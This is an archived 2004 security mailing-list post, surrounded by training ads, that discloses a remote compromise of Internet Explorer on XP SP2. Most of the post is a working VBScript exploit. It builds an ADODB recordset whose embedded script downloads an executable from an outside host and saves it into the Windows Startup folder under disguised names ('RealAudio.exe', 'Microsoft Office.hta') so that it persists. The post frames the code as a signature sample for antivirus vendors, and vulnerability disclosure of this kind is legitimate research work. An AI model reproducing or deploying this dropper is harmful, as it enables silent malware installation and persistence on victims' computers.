Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security VulnWatch
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

[VulnWatch] Re: YET AGAIN Automatic remote compromise of Internet Explor

from [Michael Evanchik] Network Security [Permanent Link]
Subject: [VulnWatch] Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2
Date: Mon, 27 Dec 2004 01:53:13 -0500 
PoC: http://www.michaelevanchik.com/security/microsoft/ie/xss/index.html

Here is some new adodb code AVP's should add.  No longer needed to connect to 
external source.  Malicious recordset can be built locally.

on error resume next
set evanchik = CreateObject("ADODB.Recordset")
   With objRS
       .Fields.Append "evanchik", 200, "3000"
       Call .Open
       Call .AddNew
       .Fields("evanchik").Value = "meaning less shit i had to put here"
       Call .AddNew
       .Fields("evanchik").Value = "<script language=vbscript>: on error resume 
next : set o = CreateObject(""msxml2.XMLHTTP"") : o.open 
""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : o.send : set s = 
createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody : 
s.savetofile ""C:\Documents and Settings\All Users\Start 
Menu\Programs\Startup\RealAudio.exe"",2 : </script>"
       Call .Update
   End With
evanchik.Save "C:\Documents and Settings\All Users\Start 
Menu\Programs\Startup\Microsoft Office.hta", adPersistXML

evanchik.Close
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  Re: [Full-Disclosure] YET AGAIN Automatic remote compromise of InternetExplorer Service Pack 2 XP SP2, Andrew Smith
Next by Date:  [VulnWatch] [HAT-SQUAD] NetCat Remote Critical Vulnerability, Poc inside., class 101
Previous by Thread:  [Full-Disclosure] YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2, Michael Evanchik
Next by Thread:  [VulnWatch] Re: YET AGAIN Automatic remote compromise of Internet Explorer Service Pack 2 XP SP2, Michael Evanchik
Indexes:  [Date] [Thread] [Top] [All Lists]